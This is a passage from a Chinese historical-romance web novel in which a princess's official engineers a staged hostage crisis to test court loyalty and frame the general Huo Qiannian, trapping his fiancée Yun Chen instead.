这话已悄悄在他心里扎根,劈开深渊裂谷,令无数欲望与阴谋的鬼怪从中而出。
他越想,神情越陷入阴森。
这时,云琛却捧住他的脸,将额头抵在他的额上,轻声道:
“我懂,阿念,我都懂。”
紧接着,她下一句话犹如神力劈天,霎时将一切污浊逼退,令深渊轰然闭合,叫那枯木再次发出新芽,升起渺小又宝贵的希望,甚至让他感动得想要落泪。
她说:“阿念,我们浴血奋战守国门,保卫的不就是京都这样的太平安宁吗?我们的血没有白流,我们忠君,忠的是庇佑天下的‘君’,生生不息的‘民’,又不是那把终会灰飞烟灭的龙椅。”
良久良久,他才终于能稳住声音开口:
“琛儿,真的……谢谢你……”
第284章 黑蛛
栖云居的院子里,似乎因为有菩萨一样圣洁的光照耀着,一切风起涌云渐渐归于平息。
与此同时,皇宫东宫殿内,烛火昏黄飘摇,照得人影如鬼魅绰绰。
南璃君将被子盖在已熟睡的颜十九身上,又替他掖好后背,轻轻吻了下他的唇角,而后披起衣裳,来到中殿书房。
书房内,宫人已悉数退下,只有知罗在等待。
知罗将一封密报呈上,南璃君翻看两眼,脸色陡然一变。
“炎绰舅舅急病昏迷,几位不安分的皇子起兵谋反,太子向我们借兵求援。”
局势真的按照霍乾念先前所推测的那样发生了。
她才刚写了请炎绰排查诸位皇子的密信,叫知罗寄出去,东炎就内乱了。
为此,还想借走楠国最后的八万京军。
难道一切真如霍乾念所言,东炎内乱是故意为之,为的就是调离京军,而后西炎便要直攻皇城?
一切的背后,是颜十九……吗?
南璃君望向寝殿颜十九熟睡的方向,她真的没办法怀疑这个男人。
他在她的心口上缱绻,带给她此生从未有过的欢愉和快乐。
他不求财,不求权,连个一官半职都未向她讨过。
他亲口说过,他别无所求,只想要她。
南璃君扶住微微发疼的额头,“你说,颜十九和霍乾念,我到底该信谁?”
知罗轻盈地挽起袖子,上前帮南璃君轻轻揉按太阳穴,声音缓缓,似带着安抚的魔力:
“您先前叫臣查颜公子的家世,臣都已查明,并无半点可疑之处。您为何还是不相信颜公子呢?”
“不是不信他,只是……”南璃君说不出口。
只是霍乾念说得太笃定认真,叫人没法不放在心上。
可若信霍乾念,无异于承认霍乾念远远比她南璃君要聪明得多。
南璃君眉头锁起,“倪鲲没杀成,京军控制权仍不在本殿手中,霍乾念的话真假不知……这满朝文武百官,忠奸难辨,着实让我头疼……”
知罗微微勾唇,“殿下累了,臣帮您卸簪梳发吧?”
南璃君点点头,知罗轻柔地为其取下满头珠钗,解下南璃君最喜爱的那支茉莉团花玉簪。
直到那长发如墨泼下,再也没有任何重量和束缚。
知罗将水葱似的手指插进南璃君的发间,开始细细揉按。
“臣有一计,不知当讲不当讲。”知罗柔声说。
南璃君靠在椅子里,舒服地眯起眼睛,声音也变得慵懒:
“你是女官之首,又有军师之才,强过前任百倍,但说无妨。”
知罗莞尔一笑,轻声开口:
“臣有一计,可以解决殿下如今的所有烦恼。既可以杀倪鲲,又可以辨忠奸,试探满朝文武所有人——以及颜公子的真心。殿下可愿一试?”
南璃君一下子睁开眼,显然十分感兴趣。
知罗缓缓靠近南璃君耳边,朱唇微微开合,声音悦耳如潺潺流水,涌进南璃君的耳中。
大殿内再无旁人,即使有,也没人能听见两人说了什么。
只能看见南璃君的眼神越来越亮,迸发出前所未有的奇异光芒。
烛火将两人的影子投射在窗棂上,知罗头上的珠钗繁复尖利,围绕在南璃君的脑袋边,像极了一只张牙舞爪的黑蛛。
足足一个时辰,知罗才告退离去。
南璃君已被知罗的话搅得心潮涌动,久久无法平息。
她不停地在殿中来回踱步,越想越觉得此计妙极!
她没有看错知罗!果然智谋强过菘蓝百倍,且永远对颜十九生疏有礼,从无半点逾矩!
实在兴奋得睡不着,南璃君走进寝殿,将颜十九推醒。
颜十九一脸睡眼惺忪,“怎么了,阿璃?”
南璃君记着知罗说过的话,硬是忍住没有对颜十九说一个字,只一把抱住颜十九,高兴道:
“颜十九!我好开心!我就要做一件比我父皇还厉害的事情!”
颜十九迷迷糊糊地回抱住南璃君,带着困意敷衍道:
“挺好的,青出于蓝而胜于蓝,如今只是时间问题,再过几年,你的功绩一定超过先皇。”
南璃君兴奋地搂住颜十九的脖子,“你真的这么认为?”
“当然!”颜十九语气笃定,“你比先皇知人善任,能够精准地辨别忠良并重用,天生就有识别奸佞宵小之辈的敏锐,你的直觉总是很准,这是做皇帝的天赋。”
南璃君笑容愈发灿烂夺目,笑道:
“你这是变着法儿哄我呢?油腔滑调,不能信你!”
颜十九呲着洁白整齐的牙齿笑起,目光温柔又宠溺:
“不信我?我好慌,看来我得抓紧努努力了!”
南璃君捂嘴掩笑:“你想干嘛?”
颜十九用力搂住南璃君的腰,语气染上魅色,坏笑道:
“想要你。”
南璃君瓷白的脸上挑起飞红,显得她愈发妩媚动人。
“你伤才刚好几日,真是一日都不老实。前儿要了,昨儿要了,今日午时要了,这会怎么又要?真该一刀让你当太监!”
他笑而不语,只是目光如弯钩一般望着她,蜻蜓点水地吻向她雪白的肌肤,一点点润湿那娇软……
第285章 格外敏感
秋雨一场寒一场。
空气仿佛带着细微的刀锋,削得万物瑟瑟凋零。
所有人都在等最后一场秋雨。
寒冬已蓄势待发,像是静静等待着少女与爱人挥泪告别,他便要无情登场。
霍府栖云居中,霍乾念愁眉苦脸地望着手里浓浓稠稠一杯象骨灰,即使兑了酒,却还是腥臭得辣眼睛。
云琛拿着手帕站在一旁,做好随时冲上去捂死他嘴巴的准备,哄道:
“阿念,‘君子服之可以延年’,叶峮哥他们都吃了,就差你还没吃,岂不是浪费观虚道长的心意?听话,不怕吐,吐了也没事,我用帕子给你捂回去!”
霍乾念眼神幽怨,“琛儿,你永远待我这样好。”
说罢,他皱着眉头捏住鼻子,端起象骨灰一饮而尽。
刚发出“呕”的口形,云琛便冲过来用帕子将他的嘴死死捂住,叫他硬生生将咕涌上来的五脏六腑咽了回去。
不知是吃的量太大的缘故,还是象骨灰有点儿过期了。
霍乾念吃了满满一大杯酒兑骨灰之后,很快便昏昏沉沉睡去,一连睡了七八个时辰都不见醒。
云琛心里有点没底,赶紧请府医前来看顾,又叫来叶峮、花绝和不言帮忙一起照看霍乾念。
只可惜府医医术有限,并看不出什么。
叶峮提议:“要不去请太医院的徐太医?听闻徐太医入太医院之前,一直四海游历行医,见多识广,能治各种疑难杂症。”
云琛觉得可以一试,嘱咐道:
“悄悄去请吧,先别惊动旁人。”
虽然这两年不在京都,但从前屡屡被各方仇家刺杀的日子还历历在目。
若叫旁人知道霍乾念突然昏迷,只怕会招来不必要的麻烦。
毕竟这么些年过去,随着霍帮财强势大,仇家们只是愈发没有底气动手,并不是全死尽了。
不言轻功好,脚程快,自请去寻徐太医。
不消半个时辰,天还没黑,就见不言半搀半拖着一个老头子匆匆而来。
徐太医两条腿倒腾得飞快,气都没工夫喘,刚一进门就被花绝扯到霍乾念榻前:
“太医,您快瞧瞧我家少主!”
得亏叶峮在,满屋子还算有个妥当人,给徐太医搬了凳子上了茶,等徐太医倒顺气之后,才请人给霍乾念探脉。
徐太医将手指搭在霍乾念腕上,砸吧两下嘴,开口第一句就吓得云琛差点跪下:
“凉了。”
叶峮等人面色皆变。
徐太医大喘气道:“酒太凉了。来时路上听不护卫说,霍将军是服用酒兑象骨灰后昏迷的。没想到传说中的巴蛇吞象骨竟是真的,真是罕世的宝贝。
只不过巴蛇属地火,象骨属阳火,焚烧成灰之后更是阳气大盛,应以温酒送服。而霍将军喝下的酒太凉了,扰乱阳气,阴阳破衡,故昏迷不醒。”
只听满屋子都是捶胸舒气的声音,徐太医嘿嘿笑道:
“不妨事,霍将军年轻力壮,阳气重,只待体内冷酒消解便无碍,最多三日便会苏醒。”
有了徐太医这话,云琛等都觉得放心许多。
看完诊,徐太医也不要诊金,只讨好地要一小瓶象骨灰走。
云琛从麻袋里给徐太医灌了满满一大瓶,在看到珍贵得近乎神物的巴蛇沁玉象骨灰,竟然被随意至极地放在一个麻袋里时,徐太医惊得下巴都要掉了。
不言热情地搂住徐太医肩膀,“徐太医,这象骨灰说是服之延年益寿,具体有啥功效啊,您给我们说说呗。我们几个都吃骨灰饺子了,是不是也能强身健体啊?”
听到“骨灰饺子”时,徐太医的表情十分惊悚又佩服,道:
“这巴蛇沁玉象骨灰,自古就是神话传说里才有的东西,没人确切知道其功效。”
不言无趣地耸耸肩,收回手,就听徐太医又大喘气道:
“不过神话既然是真的,那神话里写到的功效也许也真。据说服用象骨灰,一则强身健体,百毒不侵,任何伤病都能自愈,哪怕骨断骨碎都不在话下;二则延年益寿,延缓衰老;三则也是最重要的一点——”
徐太医说着停顿下来,憋得不言差点一口气晕过去。
徐太医揣紧怀里一大瓶象骨灰,对叶峮、花绝和不言笑道:
“最重要的一点,可以补肾固精,可令擎天不倒。”
在听到补肾固精的时候,叶峮就用袖子将云琛耳朵捂住了。
花绝和不言也没想到徐太医一把年纪,说话这么直白,完全一副医者无忌的样子,也闹了个大红脸,但二人显然还是兴奋更多些。
没办法,自古以来,男人们只要听到“补肾”俩字,就没有不来劲的。
送走徐太医,在知道霍乾念并无大碍后,叶峮立刻自觉带着花绝和不言退下。
和从前做护卫时一样,照顾霍乾念的任务又落在了云琛一个人头上。
她趴在他身边,捧着脸,跷着脚,笑眯眯地看了他许久。
她伸出手指,轻轻摸他英挺的眉毛,小扇子一样浓密的睫毛,摸摸那高挺的鼻梁,又滑向他漂亮的唇角。
她恶作剧地捏住他的鼻子,想试试他会不会憋醒,却试到一半又忍不住松开手,偷偷笑起来。
甚少见他这样乖乖睡觉任人摆布的样子,尤其在这“好大一张床”上,还是第一次见他这么老实。
她不禁玩心大起,一会儿拿头发轻挠他的脸,一会儿又挠他的腰。
直到玩够,她在他唇上嘬了一口,而后趴在他胸口,轻轻抱住他,满足叹息:
“阿念,我好爱你。”
“琛儿,我也爱你。”
这句回答没能说出口,但不妨碍霍乾念在心里说得郑重又响亮。
徐太医虽然见多识广,但到底没见过传说中的巴蛇沁玉象骨灰,一切诊断都基于古书所言。
所以没人知道,霍乾念其实早就醒了,只不过身子动不了,也发不出声音。
他能感觉到体内阴阳两气在上升,确实有冷酒逐渐消融之感。
虽然不能说话不能动,但云琛的每一个字他都听得清清楚楚。
而且因为太过安静和专注的缘故,周围没有任何人和事打扰,他的触觉好像变得……格外敏感。
第286章 不对!有诈!
四周太过安静,于是,霍乾念的触觉变得格外敏感。
他能清晰地闻见云琛软香的头发,感觉到她盈盈一握的腰正贴在他身侧。
她的任何一点抚摸都让他心颤不已,恨不得立刻翻身而起,将她压在身下好好“收拾”一番。
他又开始后悔。
当什么君子!当君子有意思还是和琛儿睡觉有意思?
当君子能当出个花来嘛?
要是和琛儿睡觉,他倒是能整出各种花样来。
他在心里做着第一千八百次后悔。
他知道自己下回还是会后悔,谁叫他舍不得轻薄他的琛儿。
这样好的姑娘,他要在成亲之日、用一生最隆重难忘的仪式去对待。
老天爷如此厚待他,赐给他这么好的妻子,他感激老天的心意,绝不能随便敷衍。
他心里东一个念头西一个念头冒不停,云琛已将他的手臂展开,舒服地躺在他臂弯里,手指绕圈圈玩着他的头发,自言自语道:
“阿念,等战事结束,你便娶我吧。”
他心说:好。我们已经定亲了,傻瓜。
“如果成亲的话,可以不在府里吗?我想在有水又有花的地方,最好有风铃花,有海棠花,有长长高高的绿草和小山坡,你乘着大船,骑着霍云,戴着大红花,敲着大鼓来娶我,好吗?”
他心说:没有如果。好,都依你。
“我从前做武师时,见过一户人家娶亲,新娘子穿着大红色的衣裳,披着靛蓝刺绣的披风,戴着好大的冠子,可美了。我也想穿呢……”
他心里又说:傻瓜,那是凤冠霞帔。我一定为你制一套这世上最华丽的婚服。凤冠用纯金宝石镶南珠的,来个九十九斤九两九钱的如何?
“我都不敢想,要是霍帮的兄弟们知道我是女子——花绝和不言的表情得有多精彩,哈哈哈哈——”
花绝大约要跪搓衣板,就看蕊娘气不气他成天和你搂搂抱抱了,哼!至于不言,只要不让他说祝酒词,怎么着都成。
“对了,宾客里一定得请山寂哥哥来,他是我儿时唯一的玩伴。他自小没有母亲,还总挨他父亲打,很可怜的,请他来喝喜酒,他会很高兴的。”
一定会。大哥那么疼你,说不定会把无义血卫的红纸全烧了给你看烟火。到时候得请大哥做主桌。
云琛嘟嘟囔囔说个不停,霍乾念也在心里一直回应,他无比珍爱这样甜蜜的时刻。
突然,一声急促的敲门声响起,打断了这份美好。
叶峮在外面急急拍门,大喊:
“阿琛!大事不好了!!”
云琛瞬间翻身而起,霍乾念能感觉到她利落带风的动作。
“东炎皇帝暴毙!诸皇子夺嫡内战!东宫已派八万京军前往东炎增援太子!谁料京军刚出京一日,就有一小股叛军潜入京都!公主殿下在骊山道祈福,正与叛军正面相遇!现下已被困骊山道!”
叶峮一进门,就带来这样一个惊天大雷。
霍乾念躺在榻上纹丝不能动,心里快速思量后,不禁大喊:
不对!有诈!
云琛皱眉思索,道:
“原大楚叛军?被孟剑云将军和段捷将军一直压制的叛军?有问题,京军刚一离开,叛军就突然潜入京都围困殿下?
他们不趁这个时候休养生息,为什么要跑来找死?就不怕京军突然杀个回马枪,将他们包饺子?而且还有两万禁军在京都呢,他们也不怕?”
霍乾念忍不住心里拍了下大腿:
琛儿想对了!
这时,叶峮凝重道:“消息是城里通令官传来的,具体情况不知道,就知道外面乱糟糟的,守城军突然全城戒严,命所有百姓各自回家闭门不出,大街上不许有一人。只挨家挨户通知文武百官速速前往骊山道勤王救驾!”
云琛怎么琢磨都觉得不太对劲,快速起身穿戴齐整:
“我去趟苏府看看情况,如果殿下真被困在骊山道,苏正阳的两万禁军就是现下唯一可以调动的兵力。”
“好!我与你同去!”叶峮刚说完,花绝又屁股着火一样跑进来,说通令官讲,禁军统领苏正阳急病不起,旁人没有领军兵符,调动不得禁军!只能请百官速速前往骊山道护驾!
花绝跑得气喘吁吁,还未倒顺气,不言又风驰电掣跑进来,大惊失色道:
“刚有个满头是血、自称从骊山道逃出来的通令官说,殿下已被叛军挟持为人质!叛军放话京都,需用楠国满朝文武百官性命换之!时限为两个时辰!百官晚来一刻钟!便要取殿下一根手指!!”
叶峮头皮发麻,“用满朝文武百官的性命换殿下性命?这是摆明想将百官吸引过去,一并屠杀!并且绝对不可能放殿下平安!对方是意图将我国朝廷一举覆灭!”
众人做梦都想不到,青天白日里会炸出这样一场国之惊变。
虽然这几年到处战火不休,国战局势混乱,但战况一直维持在京都圈外。
这种一上来就潜入皇城挟持储君的事,实在古今未有,闻所未闻!
叶峮、花绝和不言七嘴八舌:
“怎么办?叛军点名要百官去骊山道!”
“这他妈就是有去无回!去了也不一定能换回殿下!”
“那不去?殿下既然是祈福去的,身边肯定只有几个女官和亲兵侍卫。怎敌正规军?难道我们眼睁睁看着殿下一个人被挟持在骊山道?现在时间已入夜!天亮前必须救回殿下!”
“他娘的!京军偏偏在这个时候被调离!真绝!”
“空有两万禁军待在原地,只可惜无主将领兵!若有兵符就好了!军队不见主将,凭兵符亦可调动!”
“若有奸臣此时趁火打劫,夺兵符,调禁军,却不救东宫,楠国真要变天了……”
三人吵吵嚷嚷,云琛感觉脑瓜子嗡嗡的。
她从来没有决定过这种关乎千万人命运的大事。
思来想去,她决定前往骊山道。
不管叛军的放话是真是假,前面等待着文武百官的是屠刀还是地狱,作为臣子,她都必须要去。
她问:“三个通令官的身份可查验过?”
叶峮三人都道已仔细查验过,通令官不假。
她点点头,望了眼榻上依然在沉睡的霍乾念,而后肃然面容,眼神变得无比坚定。
“我去骊山道!”
第287章 范吉安与密信
“你如今是独一无二的大女官,以云琛的本事,立下彪炳青史的战功,是早晚的事。你现在已经离她很近了。只差最后一步,也是最难的一步。”
“什么?”
“霍乾念。”
“他于我有恩。固英城伤亡五千百姓之事,若非他动用人脉和钱财转圜,全力承担主责,只怕我活不下来。”
“呵,可你满眼都写着恨他呢。因为云琛,你早就恨死霍乾念了吧?他是你与云琛之间最大的阻碍,扳倒他,云琛就是你的。”
……
……
范吉安此人三十来岁,生得小头小个吊丧脸,无亲无故,身无长物,唯有两大爱好:
一则擅与畜牲打交道,会讲兽语,因此入宫做了驯兽师;
二则喜好喝酒,酒量不行,但每顿都喜欢喝两口,喝完总要在差事上出点岔子。
好在他干得是驯兽师的活儿,成日与畜牲打交道,就算出了什么差错——
比如把鸟粮错添给金丝猴,把袖珍小犬误关进狮子猫窝,把黑雪貂不小心扔进豹舍,也没个会说人话的去告他的状。
范吉安就这么糊弄地过着,直到那只纯黑色的雪貂呲哇乱叫,冲他嚷嚷,他刚想动手打那貂儿一嘴巴子,却见一个天仙似的美人翩翩而至。
那黑雪貂一见来人,立刻一溜烟跑过去,顺着那昂贵华丽的官衣就往上爬。
知罗抱住墨墨亲昵了一阵,而后对范吉安道:
“有劳您了。墨墨是我从小养大的,如今在宫里,不便时时将他带在身边,只能将他托付在百兽园。有劳范管事操心。”
范吉安看着知罗如花似玉的脸,口水差点流下来。
他上前一步,故作熟悉地摸摸墨墨的头,讨好地笑道:
“女官大人言重了,这畜牲好养得很,不麻烦!”
墨墨呲牙呜呜两声,回头就朝范吉安狠狠一口。
得亏范吉安躲得快,他讪讪收回手,尴尬地道了句:
“畜牲这东西,不知好歹,不懂感恩,我都不计较的。”
范吉安站得离知罗很近,她清楚地闻见范吉安嘴里的蒜臭味。
胃里已经作呕,知罗面上却没有任何不悦之色,只是再次谢过范吉安。
就这么一来二去,因为墨墨的关系,知罗逐渐与范吉安熟悉起来。
范吉安也不觉开始做起抱得美人归的美梦,夜里总要喘息地念着知罗的名字才能入睡。
他不是没碰过女人,那脂粉呛鼻的小巷子他经常去,只是从来没有碰过像知罗那么干净的像白玉一样的女人。
有一次,趁墨墨跳进知罗怀里的时候,借着抚摸墨墨的动作,范吉安“不小心”碰了下知罗的手指。
他有点紧张地去看知罗的表情,竟没有瞧见一丝不快。
他不禁心中狂喜。
知罗表情温柔地抚摸着墨墨,语气也依旧柔和:
“范管事,有个差事给你,若做得好,便调你去尚仪局当差,如何?”
范吉安眼睛一亮,尚仪局?那可是所有女官日常居住和办差的地方!全是一等一的大美人!这是什么天上掉馅饼的差事!
他喜笑颜开道:“大人您尽管吩咐,属下万死不辞!”
“万死不辞”四个字似乎戳中了知罗的笑点,她掩嘴笑了一阵,而后将两卷密信和一块令牌交给范吉安,道:
“明日全城戒严之后,你凭通令官的令牌,可以在街上行走。你在霍府外等着,等三位通令官去过霍府以后,你换上通令官的衣服,再去霍府一趟。只说是公主命你从骊山道来报信的,其他什么都不要多说。”
范吉安仔细记在心里,连连点头应下。
知罗从头上取下一支茉莉团花玉簪,放进范吉安手里,又道:
“记着,若接见你的是霍将军,你便将黑漆封口的密信给他;若接见你的是云将军,你便将白漆封口的密信给他。”
范吉安接过两卷竹筒密信,仔细一瞧,确实是一黑一白两种颜色的封口。
他将知罗的话反复在心里重复了七八次,揣着密信,按约定的时间来到霍府门外。
果然如知罗所说,刚到夜里,全城突然慌里慌张地戒严。
范吉安凭着知罗的令牌可以自由行走,亲眼看着三个通令官先后敲开霍府的大门。
待三个通令官走后,范吉安对着随身的小酒壶喝了一大口,感觉胆子壮了许多。
他上前叩门,正与急急牵马而出、欲与一大群霍帮护卫赶往骊山道的云琛迎面碰上。
借着火把的光亮,看着眼前身量高挑、气质非凡、面容阴柔俊俏,一身铠甲英姿飒爽的年轻将军,范吉安乍然看呆,又被云琛一身备战煞气压得不敢直视,直接就将知罗嘱咐他的什么黑啊白啊的全忘干净了。
范吉安只觉刹那之间,已被一双直白却锐利的目光查探仔细,看得他有些心虚脚软。
云琛问他:
“你是宫里人?来报信的?叫什么名字?”
范吉安赶紧行礼,恭敬回答:“属下范禽,从骊山道而来,公主殿下有密信给将军。”
云琛警惕,“可有身份令牌?”
范吉安掏出知罗给他的令牌,又将那支茉莉团花玉簪拿给云琛。
云琛接过簪子,仔细去瞧那做工和样式,的确是南璃君最常戴的一支簪子,且簪尖刻着极小的一个“璃”字,是宫里才能做出来的精巧印记。
南璃君如今被困骊山道,手边不可能有东宫令和印玺,确实只能以贴身之物为凭据。
云琛收下簪子,问道:“信给哪位将军?”
范吉安愣了,他总不能狗胆包天地反问“你是哪位将军吧?”只能道:“给霍将军的。”
略略思索,云琛觉得眼前情势复杂诡谲,更不能让旁人知晓霍乾念昏迷之事,便道:
“我就是霍将军,给我吧。”
瞧周围一大群护卫,没有一个面有异色,范吉安料定面前这将军没说谎,便赶紧将黑漆封口的密信竹筒呈上。
云琛接过信函,快速拆开查看,脸色骤然剧变,而后对一众霍帮护卫道:
“叶哥,你们全部留府待命!我要入宫一趟!”
随后她跃上水中龙,风驰电掣朝皇宫而去。
第288章 当场斩杀
兵符在永安。
密信上写着这五个字,足够让云琛热血沸腾,不顾一切冲过宫门。
这是从骊山道传来的密信,那便是南璃君向霍帮求援的信号!
可调动两万禁军的兵符在永安大殿的牌匾后。
只要拿到兵符,云琛便可以快速集结两万禁军,兵围骊山道,逼敌军交出南璃君!
只可惜,纯白永远不懂黑暗的浓重。
就像云琛永远不会明白,为什么会有这场惊变,永远想不到四个通令官里,竟然前三人为真,第四人为假。
她永远想象不到,一个人可以为了一己私欲,将这世界搅到什么翻天覆地的地步。
她心里只有一个念头:
取兵符,调禁军,杀向骊山道,救出东宫储君!
因此,当她驾着狗小六纵马飞驰过宫门,刚进永安大殿广场,就被黑压压的禁军死死包围住时,她根本来不及反应。
火把灼灼照着黑夜,一大群禁军呐喊着冲上来,将锋利的长枪对准了她。
她下意识挥剑抵挡,却因毫无防备而反应有些慢,差点被一个禁军刺中后背。
当那禁军的枪头扎过来时,狗小六猛地回身跃起,结结实实替云琛挨了一枪。
狗小六疼痛嘶鸣,马蹄高高扬起,逼得禁军包围圈后退些许。
“狗小六!!”爱马受伤,云琛登时火起,大力挥剑进攻,和一大群禁军打在一起。
这事发太过突然,敌我未分,云琛怕误伤自己人,不敢贸然下狠手,只抵挡而不攻击。
但禁军却不管那些,密密麻麻围困住云琛。
厮杀很快变成无序的推搡和乱砍,禁军们将云琛从马背上拖下来,纷纷叫嚣着“杀了他!”
云琛整个人被拉扯在地上,不停大吼“我是狮威军少将云琛!前来寻禁军兵符的!”硬生生控制住刀锋,只战不杀,被人群挤压得毫无还手之力,脸上和身上挨了许多拳打脚踢。
就在场面乱作一团之时,苏正阳的声音由远及近,急急传来,大喝道:
“住手!都给我住手!!”
苏正阳策马奔来,用枪杆将人群强制分开,终于让云琛有了喘息的空间。
她扶着膝盖大口喘息,头发和衣服都被扯得有些凌乱,脸上已经有淤青和破皮出血。
未等马停稳,苏正阳已跳下马背跑来,瞧见地上一大摊血,还以为是云琛受伤了。
他赶紧抱住云琛肩膀,急忙上下查看:
“伤哪里了?伤得重吗?你怎么会来这里??”
“我没事,是我的马受伤了!”云琛推开苏正阳,赶紧去查看狗小六的伤势。
索性那一枪扎在狗小六肩膀上,没有要了它的性命。
但云琛还是心疼得厉害,忙问苏正阳有没有兽医在,给狗小六看看伤。
见苏正阳不吱声,周围所有禁军也都用一种奇怪戒备的眼神看着自己,云琛皱眉:
“苏正阳,你们到底在干什么?你不是重病不起吗?为什么出现在这里?怎么不赶紧带禁军去骊山道救驾?为什么我一进宫就对我动手?”
苏正阳一脸忧重,望着周围无数双眼睛,只能暗暗叹气,沉重道:
“东宫有令,今日入宫者……一概杀无赦。来人,将云琛拿下。”
云琛愣在原地。
她有点听不懂苏正阳说的话,每一个字都是国文,连在一起她却听不懂了。
几个禁军上前扭住云琛,用镣铐将她的手反铐在后背。
其中一人打量云琛身上的少将铠甲,问苏正阳:
“头儿,要给他扒去服制吗?”
“不用!”苏正阳从那禁军手里接过云琛,“本统领亲自押送云琛,你们继续原地戒备,不论何人入宫,一概羁押!如遇反抗,当场斩杀!”
“是!!”禁军们齐声高喝,声音洪亮威武如海啸,像是在执行什么自以为豪的光荣任务。
苏正阳亲自押解着云琛进入一处临时牢房。
他将看守牢房的禁军屏退,关严房门,皱眉看着云琛。
云琛完全搞不清眼前是什么状况:
“你现在是要公报私仇杀我吗?我以为我们和解了。咋的,菘蓝还是想杀我?”
苏正阳愣了一下,“菘蓝从前想过杀你?”
云琛认真点头,“一次想让我给先皇陪葬来着,一次将我扔在无人的角落受伤等死来着,还有一次……”
“好了别说了……”苏正阳摆手打断她,脸上有些惭愧之色。
他上前为云琛解开镣铐,看着她手腕上被铁铐磨出的红印,他沉默片刻,问:
“你怎么会入宫?”
云琛将怀里的信掏出来,这才发现南璃君的簪子已在刚才的打斗中碎裂,几乎碎成齑粉,连一片完整的茉莉花瓣都没剩下。
她将收到密信“兵符在永安”的事情一五一十地告诉苏正阳,后者沉思片刻,道:
“这么说,是有通令官告诉你,殿下要你入宫找兵符,然后调兵去骊山道救驾的?”
云琛大为不解:“当然了!不然呢?”
若不是知道云琛的女儿身,苏正阳根本不会信这话。
“‘兵符在永安’,这几个字看不出任何笔迹特点,你所谓公主的茉莉团花玉簪信物也拿不出来。这些都不能作为你入宫的理由。”苏正阳对着蜡烛来来回回仔细看了好几遍密信,眉头紧皱,继续道:
“我会马上派人去找你说的那个‘范禽’。若真能证明是他冒充传令官诓你入宫,你大概能平安躲过此劫。但若找不到……”
云琛听得云里雾里。
从今天叶峮说南璃君被敌军围困骊山道开始,一直到现在,桩桩件件都事发突然又紧急骇人,透着一股说不出的怪异。
她感觉脑子里一团乱麻,什么都搞不明白,忍不住有点烦躁:
“什么‘劫’不‘劫’的?啥叫诓我入宫?密信不是殿下从骊山道传来的吗?把那个通令官范禽找来一问便知!”
苏正阳用同情、无奈又忧重的目光望着她。
“如果我告诉你,自始至终都没有叛军潜入京都——
从来就没有殿下被困骊山道呢?”
第289章 辨忠奸
当苏正阳说,从来就没有东宫被困骊山道的时候,云琛半张着嘴,怔在原地,半晌才回过神。
她靠着冰冷的墙面缓缓坐下,久久说不出话。
她只是不精于算计,但并不代表她愚钝。
恰恰相反,她太过聪慧,所以只需苏正阳一句点拨,她便瞬间明白所有。
东炎皇帝驾崩内乱是真,但真正去往东炎增援的只有两万人。
剩下的六万京军只是为这个借口,被调离到距京都三百里之处待命而已,并未离开楠国。
三百里,刚好一日的路程,足够南璃君自导自演一场被困骊山道的大戏。
南璃君坐在骊山道高阔庄严的祈福大殿上,心满意足地看着那些忠心耿耿、甘愿用生命换她平安的大臣们——
文武百官风尘仆仆、挥汗如雨地奔来,很多人都是从睡梦中惊醒的,连鞋袜都没来得及穿。
所有人明知前方是屠刀,却义无反顾朝着屠刀而来。
有亲兵的带着亲兵,没亲兵的带着护卫,实在没有护卫的,索性带着家仆扛着锄头。
稀稀拉拉的三两人群朝着同一个方向跑去,逐渐在黑夜里汇集成一支滑稽又壮大的队伍。
每个人的脸上都是一脸严肃,带着即将为东宫献身、为国家赴死的忠义决绝。
然而,当百官急急奔至骊山道时,却见南璃君安然无恙地稳坐高台,周围除了女官和侍卫们,并无一个外敌。
南璃君对着众人嫣然一笑,用那张璀璨华光的脸,不轻不重地说了句:
“众卿辛苦了。”
接着,大女官知罗上前宣读东宫令,以金银无数犒赏今夜到场的所有人。
人人官加一等,赏钱财无数,褒扬他们经受住了这场考验之戏,是名副其实的忠臣。
听到这个消息,众人简直不敢相信自己的耳朵。
曹放和孟剑云是武将,有快马座骑,行路比其他人要快,站在“勤王救驾”队伍的最前,只比一身崭新铠甲玉树临风的颜十九来得稍晚一些。
望着南璃君为成功考验、并收获了一大群忠臣而洋洋得意的表情,曹放和孟剑云宛若两个狼狈的败将,耸拉着肩膀站在那里,银白的老髻在风中无声颤抖。
云望也在人群里,衣冠不整,奔波得满头大汗。
他放眼望去,霍乾念不在,云琛也不在,不禁心中一沉。
满场沉默,只有南璃君轻松愉快的声音在说:
“瞧,我楠国有如此多忠良,何愁不强?”
既有忠,便有奸。
既有明知会死却依然奔赴骊山道的忠臣,就有云琛那样趁乱抢兵符,意图谋反的“乱臣贼子”。
……
……
苏正阳几乎将宫里翻了个底朝天,也没有找到所谓的通令官范禽。
他将这个消息带回牢房,对云琛道:
“你大约是被人算计了。”
有人想借南璃君考验文武百官之局,狠狠算计云琛——
不,是狠狠算计霍乾念一把。
幸而霍乾念服用巴蛇沁玉象骨灰昏迷,竟然极其巧合地躲过一劫。
想到这里,云琛忍不住微微一笑。
苏正阳惊讶:“都这个时候了,你还有心情笑?你知不知道自己的处境?所有人都去骊山道了,只有你入宫抢兵符!你现在是被抓现行的‘反贼’!怎么笑得出来?”
从他告诉云琛东宫并没有被困骊山道之后,云琛就一直靠墙坐着,一句话都没有说。
听到苏正阳比自己还着急,云琛终于开口,只短短一句话,就让苏正阳明白,眼前这个女人,根本不是他觉得有趣就可以靠近的。
而是他穷尽一生也无法接近的高远圣洁。
云琛轻轻笑起:
“甚好,一切皆太平。”
京都太平,没有叛军入侵,意味着百姓们不用受遭受战乱,尚能安居乐业;
文武百官不必豁出性命,仍旧能各自发光发热;
东宫安然无恙,那维系着楠国不乱的天平仍然伫立。
哪怕被算计,被狼狈考验。
哪怕热血已慢慢冷却。
云琛却说,甚好,一切皆太平。
此时,一道黎明的光线划破黑夜,轻轻照拂在云琛的脸上。
虽然细微,却是黑夜怎么都无法吞噬的朝白。
那是黑暗无法浸染,亦无法湮灭的星火。
第290章 披着羊皮的恶狼
漫长的黑夜终于过去。
南璃君与百官从骊山道归来时,已天光大亮。
看着仪容不整的众人,南璃君大发慈悲,准许众人各自回府更衣,酉时傍晚再入宫赴宴。
待众人走后,南璃君十分满意地对知罗道:
“你这番献计实在绝妙,我应当好好奖赏你。”
知罗恭敬跪地,婉拒恩赏,强颜欢笑地问:
“殿下打算如何处置云琛?”
完全没想到,此番精心设计,没能诓住霍乾念,竟误将云琛推入火坑,知罗心里着急,面上却不敢表露,强作无事的样子,说道:
